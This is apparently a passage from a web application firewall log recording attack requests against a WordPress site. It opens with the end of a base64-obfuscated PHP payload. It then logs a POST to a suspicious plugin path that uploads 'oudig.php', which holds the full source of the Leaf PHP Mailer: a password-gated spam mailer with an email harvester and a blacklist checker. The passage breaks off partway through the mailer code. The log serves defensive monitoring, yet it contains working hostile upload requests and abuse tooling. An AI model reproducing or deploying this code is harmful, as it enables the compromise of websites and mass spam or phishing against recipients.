bXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--c73982db87c8a7e60a40d3c4e2528a5b\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--c73982db87c8a7e60a40d3c4e2528a5b\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--c73982db87c8a7e60a40d3c4e2528a5b\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--c73982db87c8a7e60a40d3c4e2528a5b--\r\n"]
["2026-04-14 09:08:22","74.208.137.156","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\ncontent-length:166200\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=91ade92e329318542850b1fb6dbdea13\npriority:u=0, i\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-site:same-origin\n\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"oudig.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n        $_SESSION[$sessioncode] = $password;\n    }\n    else {\n        print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n        exit;        \n    }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n    $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n    $text = str_replace(\"[-email-]\", $email, $text);\n    $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n    $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n    $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n    $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n    $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n    $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n    return $text;  \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n    return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n    $length=rand(12,25);\n    $password = '';\n    for ($i = 0; $i < $length; $i++) {\n            $password .= $consonants[(rand() % strlen($consonants))];\n    }\n    return $password;\n}\nfunction leafMailCheck($email){\n    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n    else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n    if (isset($_GET['host'])){\n        $_GET['host']=explode(\",\", $_GET['host']);\n        foreach ($_GET['host'] as $host) {\n            if (checkdnsrr($_GET['check_ip'] . \".\" .  $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n            else $check= \"<font color='green'> Clean<\/font>\";\n            print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n        }\n\n        exit;\n    }\n    $dnsbl_lookup = [\n        \"all.s5h.net\",\n        \"b.barracudacentral.org\",\n        \"bl.spamcop.net\",\n        \"blacklist.woody.ch\",\n        \"bogons.cymru.com\",\n        \"cbl.abuseat.org\",\n        \"cdl.anti-spam.org.cn\",\n        \"combined.abuse.ch\",\n        \"db.wpbl.info\",\n        \"dnsbl-1.uceprotect.net\",\n        \"dnsbl-2.uceprotect.net\",\n        \"dnsbl-3.uceprotect.net\",\n        \"dnsbl.anticaptcha.net\",\n        \"dnsbl.dronebl.org\",\n        \"dnsbl.inps.de\",\n        \"dnsbl.sorbs.net\",\n        \"drone.abuse.ch\",\n        \"duinv.aupads.org\",\n        \"dul.dnsbl.sorbs.net\",\n        \"dyna.spamrats.com\",\n        \"dynip.rothen.com\",\n        \"http.dnsbl.sorbs.net\",\n        \"ips.backscatterer.org\",\n        \"ix.dnsbl.manitu.net\",\n        \"korea.services.net\",\n        \"misc.dnsbl.sorbs.net\",\n        \"noptr.spamrats.com\",\n        \"orvedb.aupads.org\",\n        \"pbl.spamhaus.org\",\n        \"proxy.bl.gweep.ca\",\n        \"psbl.surriel.com\",\n        \"relays.bl.gweep.ca\",\n        \"relays.nether.net\",\n        \"sbl.spamhaus.org\",\n        \"short.rbl.jp\",\n        \"singular.ttk.pte.hu\",\n        \"smtp.dnsbl.sorbs.net\",\n        \"socks.dnsbl.sorbs.net\",\n        \"spam.abuse.ch\",\n        \"spam.dnsbl.anonmails.de\",\n        \"spam.dnsbl.sorbs.net\",\n        \"spam.spamrats.com\",\n        \"spambot.bls.digibase.ca\",\n        \"spamrbl.imp.ch\",\n        \"spamsources.fabel.dk\",\n        \"ubl.lashback.com\",\n        \"ubl.unsubscore.com\",\n        \"virus.rbl.jp\",\n        \"web.dnsbl.sorbs.net\",\n        \"wormrbl.imp.ch\",\n        \"xbl.spamhaus.org\",\n        \"z.mailspike.net\",\n        \"zen.spamhaus.org\",\n        \"zombie.dnsbl.sorbs.net\",\n    ];\n    $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n    $dnsT = count($dnsbl_lookup);\n    leafheader();\n    print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n    Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b>  anti-spam databases:<br>\";\n    $dnsN=\"\";\n    print '<table >';\n    for ($i=0; $i < $dnsT; $i=$i+10) { \n        $host=\"\";\n        $hosts=\"\";\n        for($j=$i; $j<$i+10;$j++){\n            $host=$dnsbl_lookup[$j];\n            if(!empty($host)){\n                print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n                $hosts .=\"$host,\";\n            }\n        }\n        $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n    }\n\n    print '<\/table><\/div>';\n    print $dnsN;\n    exit;\n}\nif(isset($_GET['emailfilter'])){\n\n    if(!empty($_FILES['fileToUpload']['tmp_name'])){\n        $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n    }\n    $_POST['emailList']=strtolower($_POST['emailList']);\n   if($_GET['emailfilter']==\"ifram\"){\n        if ($_POST['resulttype'] == \"download\"){\n            header(\"Content-Description: File Transfer\"); \n            header(\"Content-Type: application\/octet-stream\"); \n            header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n        }\n        else {\n            header(\"Content-Type: text\/plain\");\n        }\n    if($_POST['submit']==\"extract\"){\n        $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n        preg_match_all($pattern, $_POST['emailList'], $matches);\n        foreach ($matches[0] as $email) {\n            print $email.\"\\n\";\n        }\n    }\n    elseif ($_POST['submit']==\"filter\") {\n        $emails=explode(\"\\n\", $_POST['emailList']);\n        $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n        foreach ($emails as $email) {\n            foreach ($keywords as $keyword ) {\n                if(strstr($email, $keyword) ){\n                    print $email.\"\\n\";\n                     break;\n                }\n               \n            }\n        }\n\n    }\n    exit;\n   }\n   leafheader();\n   print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n   print '\n    <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n        <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n        or\n\n        <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n      <div class=\"col-lg-12\">\n        <div class=\"radio\">\n          <label>\n            <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n            Show Result in this page\n          <\/label>\n        <\/div>\n        <div class=\"radio\">\n          <label>\n            <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n            Download Result (for big numbers)\n          <\/label>\n        <\/div>\n      <\/div>\n            <legend><h4>Extract Email<\/h4><\/legend>\n            Detecting every email (100%) and order them line by line <br><br>\n        <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n            <legend><h4>Filter Emails<\/h4><\/legend>\n        <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n            <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n    <\/form>\n    <label >Result <\/label>\n    <iframe style=\"border:none;width:100%;\" name=\"my-iframe\"  src=\"?emailfilter=ifram\" ><\/iframe>\n   ';\n   exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n    $senderEmail=leafTrim($_POST['senderEmail']);\n    $senderName=leafTrim($_POST['senderName']);\n    $replyTo=leafTrim($_POST['replyTo']);\n    $subject=leafTrim($_POST['subject']);\n    $emailList=leafTrim($_POST['emailList']);\n    $messageType=leafTrim($_POST['messageType']);\n    $messageLetter=leafTrim($_POST['messageLetter']);\n    $encoding = $_POST['encode'];\n    $charset = $_POST['charset'];\n    $html=\"\";\n    $utf8=\"\";\n    $bit8=\"\";\n\n    if($messageType==2) $plain=\"checked\";\n    else $html=\"checked\";\n\n    if($charset==\"ISO-8859-1\") $iso=\"selected\";\n    else $utf8=\"selected\";\n\n    if($encoding==\"7bit\") $bit7=\"selected\";\n    elseif($encoding==\"binary\") $binary=\"selected\";\n    elseif($encoding==\"base64\") $base64=\"selected\";\n    elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n    else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n    $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n    if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n    \/**\n     * The PHPMailer Version number.\n     * @var string\n     *\/\n    public $Version = '5.2.28';\n\n    \/**\n     * Email priority.\n     * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n     * When null, the header is not set at all.\n     * @var integer\n     *\/\n    public $Priority = null;\n\n    \/**\n     * The character set of the message.\n     * @var string\n     *\/\n    public $CharSet = 'iso-8859-1';\n\n    \/**\n     * The MIME Content-type of the message.\n     * @var string\n     *\/\n    public $ContentType = 'text\/plain';\n\n    \/**\n     * The message encoding.\n     * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n     * @var string\n     *\/\n    public $Encoding = '8bit';\n\n    \/**\n     * Holds the most recent mailer error message.\n     * @var string\n     *\/\n    public $ErrorInfo = '';\n\n    \/**\n     * The From email address for the message.\n     * @var string\n     *\/\n    public $From = 'root@localhost';\n\n    \/**\n     * The From name of the message.\n     * @var string\n     *\/\n    public $FromName = 'Root User';\n\n    \/**\n     * The Sender email (Return-Path) of the message.\n     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n     * @var string\n     *\/\n    public $Sender = '';\n\n    \/**\n     * The Return-Path of the message.\n     * If empty, it will be set to either From or Sender.\n     * @var string\n     * @deprecated Email senders should never set a return-path header;\n     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n     * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n     *\/\n    public $ReturnPath = '';\n\n    \/**\n     * The Subject of the message.\n     * @var string\n     *\/\n    public $Subject = '';\n\n    \/**\n     * An HTML or plain text message body.\n     * If HTML then call isHTML(true).\n     * @var string\n     *\/\n    public $Body = '';\n\n    \/**\n     * The plain-text message body.\n     * This body can be read by mail clients that do not have HTML email\n     * capability such as mutt & Eudora.\n     * Clients that can read HTML will view the normal Body.\n     * @var string\n     *\/\n    public $AltBody = '';\n\n    \/**\n     * An iCal message part body.\n     * Only supported in simple alt or alt_inline message types\n     * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n     * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n     * @link http:\/\/kigkonsult.se\/iCalcreator\/\n     * @var string\n     *\/\n    public $Ical = '';\n\n    \/**\n     * The complete compiled MIME message body.\n     * @access protected\n     * @var string\n     *\/\n    protected $MIMEBody = '';\n\n    \/**\n     * The complete compiled MIME message headers.\n     * @var string\n     * @access protected\n     *\/\n    protected $MIMEHeader = '';\n\n    \/**\n     * Extra headers that createHeader() doesn't fold in.\n     * @var string\n     * @access protected\n     *\/\n    protected $mailHeader = '';\n\n    \/**\n     * Word-wrap the message body to this number of chars.\n     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n     * @var integer\n     *\/\n    public $WordWrap = 0;\n\n    \/**\n     * Which method to use to send mail.\n     * Options: \"mail\", \"sendmail\", or \"smtp\".\n     * @var string\n     *\/\n    public $Mailer = 'mail';\n\n    \/**\n     * The path to the sendmail program.\n     * @var string\n     *\/\n    public $Sendmail = '\/usr\/sbin\/sendmail';\n\n    \/**\n     * Whether mail() uses a fully sendmail-compatible MTA.\n     * One which supports sendmail's \"-oi -f\" options.\n     * @var boolean\n     *\/\n    public $UseSendmailOptions = true;\n\n    \/**\n     * Path to PHPMailer plugins.\n     * Useful if the SMTP class is not in the PHP include path.\n     * @var string\n     * @deprecated Should not be needed now there is an autoloader.\n     *\/\n    public $PluginDir = '';\n\n    \/**\n     * The email address that a reading confirmation should be sent to, also known as read receipt.\n     * @var string\n     *\/\n    public $ConfirmReadingTo = '';\n\n    \/**\n     * The hostname to use in the Message-ID header and as default HELO string.\n     * If empty, PHPMailer attempts to find one with, in order,\n     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n     * 'localhost.localdomain'.\n     * @var string\n     *\/\n    public $Hostname = '';\n\n    \/**\n     * An ID to be used in the Message-ID header.\n     * If empty, a unique id will be generated.\n     * You can set your own, but it must be in the format \"<id@domain>\",\n     * as defined in RFC5322 section 3.6.4 or it will be ignored.\n     * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n     * @var string\n     *\/\n    public $MessageID = '';\n\n    \/**\n     * The message Date to be used in the Date header.\n     * If empty, the current date will be added.\n     * @var string\n     *\/\n    public $MessageDate = '';\n\n    \/**\n     * SMTP hosts.\n     * Either a single hostname or multiple semicolon-delimited hostnames.\n     * You can also specify a different port\n     * for each host by using this format: [hostname:port]\n     * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n     * You can also specify encryption type, for example:\n     * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n     * Hosts will be tried in order.\n     * @var string\n     *\/\n    public $Host = 'localhost';\n\n    \/**\n     * The default SMTP server port.\n     * @var integer\n     * @TODO Why is this needed when the SMTP class takes care of it?\n     *\/\n    public $Port = 25;\n\n    \/**\n     * The SMTP HELO of the message.\n     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n     * one with the same method described above for $Hostname.\n     * @var string\n     * @see PHPMailer::$Hostname\n     *\/\n    public $Helo = '';\n\n    \/**\n     * What kind of encryption to use on the SMTP connection.\n     * Options: '', 'ssl' or 'tls'\n     * @var string\n     *\/\n    public $SMTPSecure = '';\n\n    \/**\n     * Whether to enable TLS encryption automatically if a server supports it,\n     * even if `SMTPSecure` is not set to 'tls'.\n     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n     * @var boolean\n     *\/\n    public $SMTPAutoTLS = true;\n\n    \/**\n     * Whether to use SMTP authentication.\n     * Uses the Username and Password properties.\n     * @var boolean\n     * @see PHPMailer::$Username\n     * @see PHPMailer::$Password\n     *\/\n    public $SMTPAuth = false;\n\n    \/**\n     * Options array passed to stream_context_create when connecting via SMTP.\n     * @var array\n     *\/\n    public $SMTPOptions = array();\n\n    \/**\n     * SMTP username.\n     * @var string\n     *\/\n    public $Username = '';\n\n    \/**\n     * SMTP password.\n     * @var string\n     *\/\n    public $Password = '';\n\n    \/**\n     * SMTP auth type.\n     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n     * @var string\n     *\/\n    public $AuthType = '';\n\n    \/**\n     * SMTP realm.\n     * Used for NTLM auth\n     * @var string\n     *\/\n    public $Realm = '';\n\n    \/**\n     * SMTP workstation.\n     * Used for NTLM auth\n     * @var string\n     *\/\n    public $Workstation = '';\n\n    \/**\n     * The SMTP server timeout in seconds.\n     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n     * @var integer\n     *\/\n    public $Timeout = 300;\n\n    \/**\n     * SMTP class debug output mode.\n     * Debug output level.\n     * Options:\n     * * `0` No output\n     * * `1` Commands\n     * * `2` Data and commands\n     * * `3` As 2 plus connection status\n     * * `4` Low-level data output\n     * @var integer\n     * @see SMTP::$do_debug\n     *\/\n    public $SMTPDebug = 0;\n\n    \/**\n     * How to handle debug output.\n     * Options:\n     * * `echo` Output plain-text as-is, appropriate for CLI\n     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n     * * `error_log` Output to error log as configured in php.ini\n     *\n     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n     * <code>\n     * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n     * <\/code>\n     * @var string|callable\n     * @see SMTP::$Debugoutput\n     *\/\n    public $Debugoutput = 'echo';\n\n    \/**\n     * Whether to keep SMTP connection open after each message.\n     * If this is set to true then to close the connection\n     * requires an explicit call to smtpClose().\n     * @var boolean\n     *\/\n    public $SMTPKeepAlive = false;\n\n    \/**\n     * Whether to split multiple to addresses into multiple messages\n     * or send them all in one message.\n     * Only supported in `mail` and `sendmail` transports, not in SMTP.\n     * @var boolean\n     *\/\n    public $SingleTo = false;\n\n    \/**\n     * Storage for addresses when SingleTo is enabled.\n     * @var array\n     * @TODO This should really not be public\n     *\/\n    public $SingleToArray = array();\n\n    \/**\n     * Whether to generate VERP addresses on send.\n     * Only applicable when sending via SMTP.\n     * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n     * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n     * @var boolean\n     *\/\n    public $do_verp = false;\n\n    \/**\n     * Whether to allow sending messages with an empty body.\n     * @var boolean\n     *\/\n    public $AllowEmpty = false;\n\n    \/**\n     * The default line ending.\n     * @note The default remains \"\\n\". We force CRLF where we know\n     *        it must be used via self::CRLF.\n     * @var string\n     *\/\n    public $LE = \"\\n\";\n\n    \/**\n     * DKIM selector.\n     * @var string\n     *\/\n    public $DKIM_selector = '';\n\n    \/**\n     * DKIM Identity.\n     * Usually the email address used as the source of the email.\n     * @var string\n     *\/\n    public $DKIM_identity = '';\n\n    \/**\n     * DKIM passphrase.\n     * Used if your key is encrypted.\n     * @var string\n     *\/\n    public $DKIM_passphrase = '';\n\n    \/**\n     * DKIM signing domain name.\n     * @example 'example.com'\n     * @var string\n     *\/\n    public $DKIM_domain = '';\n\n    \/**\n     * DKIM private key file path.\n     * @var string\n     *\/\n    public $DKIM_private = '';\n\n    \/**\n     * DKIM private key string.\n     * If set, takes precedence over `$DKIM_private`.\n     * @var string\n     *\/\n    public $DKIM_private_string = '';\n\n    \/**\n     * Callback Action function name.\n     *\n     * The function that handles the result of the send email action.\n     * It is called out by send() for each email sent.\n     *\n     * Value can be any php callable: http:\/\/www.php.net\/is_callable\n     *\n     * Parameters:\n     *   boolean $result        result of the send action\n     *   array   $to            email addresses of the recipients\n     *   array   $cc            cc email addresses\n     *   array   $bcc           bcc email addresses\n     *   string  $subject       the subject\n     *   string  $body          the email body\n     *   string  $from          email address of sender\n     * @var string\n     *\/\n    public $action_function = '';\n\n    \/**\n     * What to put in the X-Mailer header.\n     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n     * @var string\n     *\/\n    public $XMailer = ' ';\n\n    \/**\n     * Which validator to use by default when validating email addresses.\n     * May be a callable to inject your own validator, but there are several built-in validators.\n     * @see PHPMailer::validateAddress()\n     * @var string|callable\n     * @static\n     *\/\n    public static $validator = 'auto';\n\n    \/**\n     * An instance of the SMTP sender class.\n     * @var SMTP\n     * @access protected\n     *\/\n    protected $smtp = null;\n\n    \/**\n     * The array of 'to' names and addresses.\n     * @var array\n     * @access protected\n     *\/\n    protected $to = array();\n\n    \/**\n     * The array of 'cc' names and addresses.\n     * @var array\n     * @access protected\n     *\/\n    protected $cc = array();\n\n    \/**\n     * The array of 'bcc' names and addresses.\n     * @var array\n     * @access protected\n     *\/\n    protected $bcc = array();\n\n    \/**\n     * The array of reply-to names and addresses.\n     * @var array\n     * @access protected\n     *\/\n    protected $ReplyTo = array();\n\n    \/**\n     * An array of all kinds of addresses.\n     * Includes all of $to, $cc, $bcc\n     * @var array\n     * @access protected\n     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n     *\/\n    protected $all_recipients = array();\n\n    \/**\n     * An array of names and addresses queued for validation.\n     * In send(), valid and non duplicate entries are moved to $all_recipients\n     * and one of $to, $cc, or $bcc.\n     * This array is used only for addresses with IDN.\n     * @var array\n     * @access protected\n     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n     * @see PHPMailer::$all_recipients\n     *\/\n    protected $RecipientsQueue = array();\n\n    \/**\n     * An array of reply-to names and addresses queued for validation.\n     * In send(), valid and non duplicate entries are moved to $ReplyTo.\n     * This array is used only for addresses with IDN.\n     * @var array\n     * @access protected\n     * @see PHPMailer::$ReplyTo\n     *\/\n    protected $ReplyToQueue = array();\n\n    \/**\n     * The array of attachments.\n     * @var array\n     * @access protected\n     *\/\n    protected $attachment = array();\n\n    \/**\n     * The array of custom headers.\n     * @var array\n     * @access protected\n     *\/\n    protected $CustomHeader = array();\n\n    \/**\n     * The most recent Message-ID (including angular brackets).\n     * @var string\n     * @access protected\n     *\/\n    protected $lastMessageID = '';\n\n    \/**\n     * The message's MIME type.\n     * @var string\n     * @access protected\n     *\/\n    protected $message_type = '';\n\n    \/**\n     * The array of MIME boundary strings.\n     * @var array\n     * @access protected\n     *\/\n    protected $boundary = array();\n\n    \/**\n     * The array of available languages.\n     * @var array\n     * @access protected\n     *\/\n    protected $language = array();\n\n    \/**\n     * The number of errors encountered.\n     * @var integer\n     * @access protected\n     *\/\n    protected $error_count = 0;\n\n    \/**\n     * The S\/MIME certificate file path.\n     * @var string\n     * @access protected\n     *\/\n    protected $sign_cert_file = '';\n\n    \/**\n     * The S\/MIME key file path.\n     * @var string\n     * @access protected\n     *\/\n    protected $sign_key_file = '';\n\n    \/**\n     * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n     * @var string\n     * @access protected\n     *\/\n    protected $sign_extracerts_file = '';\n\n    \/**\n     * The S\/MIME password for the key.\n     * Used only if the key is encrypted.\n     * @var string\n     * @access protected\n     *\/\n    protected $sign_key_pass = '';\n\n    \/**\n     * Whether to throw exceptions for errors.\n     * @var boolean\n     * @access protected\n     *\/\n    protected $exceptions = false;\n\n    \/**\n     * Unique ID used for message ID and boundaries.\n     * @var string\n     * @access protected\n     *\/\n    protected $uniqueid = '';\n\n    \/**\n     * Error severity: message only, continue processing.\n     *\/\n    const STOP_MESSAGE = 0;\n\n    \/**\n     * Error severity: message, likely ok to continue processing.\n     *\/\n    const STOP_CONTINUE = 1;\n\n    \/**\n     * Error severity: message, plus full stop, critical error reached.\n     *\/\n    const STOP_CRITICAL = 2;\n\n    \/**\n     * SMTP RFC standard line ending.\n     *\/\n    const CRLF = \"\\r\\n\";\n\n    \/**\n     * The maximum line length allowed by RFC 2822 section 2.1.1\n     * @var integer\n     *\/\n    const MAX_LINE_LENGTH = 998;\n\n    \/**\n     * Constructor.\n     * @param boolean $exceptions Should we throw external exceptions?\n     *\/\n    public function __construct($exceptions = null)\n    {\n        if ($exceptions !== null) {\n            $this->exceptions = (boolean)$exceptions;\n        }\n        \/\/Pick an appropriate debug output format automatically\n        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n    }\n\n    \/**\n     * Destructor.\n     *\/\n    public function __destruct()\n    {\n        \/\/Close any open SMTP connection nicely\n        $this->smtpClose();\n    }\n\n    \/**\n     * Call mail() in a safe_mode-aware fashion.\n     * Also, unless sendmail_path points to sendmail (or something that\n     * claims to be sendmail), don't pass params (not a perfect fix,\n     * but it will do)\n     * @param string $to To\n     * @param string $subject Subject\n     * @param string $body Message Body\n     * @param string $header Additional Header(s)\n     * @param string $params Params\n     * @access private\n     * @return boolean\n     *\/\n    private function mailPassthru($to, $subject, $body, $header, $params)\n    {\n        \/\/Check overloading of mail function to avoid double-encoding\n        if (ini_get('mbstring.func_overload') & 1) {\n            $subject = $this->secureHeader($subject);\n        } else {\n            $subject = $this->encodeHeader($this->secureHeader($subject));\n        }\n\n        \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n        \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n            $result = @mail($to, $subject, $body, $header);\n        } else {\n            $result = @mail($to, $subject, $body, $header, $params);\n        }\n        return $result;\n    }\n    \/**\n     * Output debugging info via user-defined method.\n     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n     * @see PHPMailer::$Debugoutput\n     * @see PHPMailer::$SMTPDebug\n     * @param string $str\n     *\/\n    protected function edebug($str)\n    {\n        if ($this->SMTPDebug <= 0) {\n            return;\n        }\n        \/\/Avoid clash with built-in function names\n        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n            return;\n        }\n        switch ($this->Debugoutput) {\n            case 'error_log':\n                \/\/Don't output, just log\n                error_log($str);\n                break;\n            case 'html':\n                \/\/Cleans up output a bit for a better looking, HTML-safe output\n                echo htmlentities(\n                    preg_replace('\/[\\r\\n]+\/', '', $str),\n                    ENT_QUOTES,\n                    'UTF-8'\n                )\n                . \"<br>\\n\";\n                break;\n            case 'echo':\n            default:\n                \/\/Normalize line breaks\n                $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n                echo 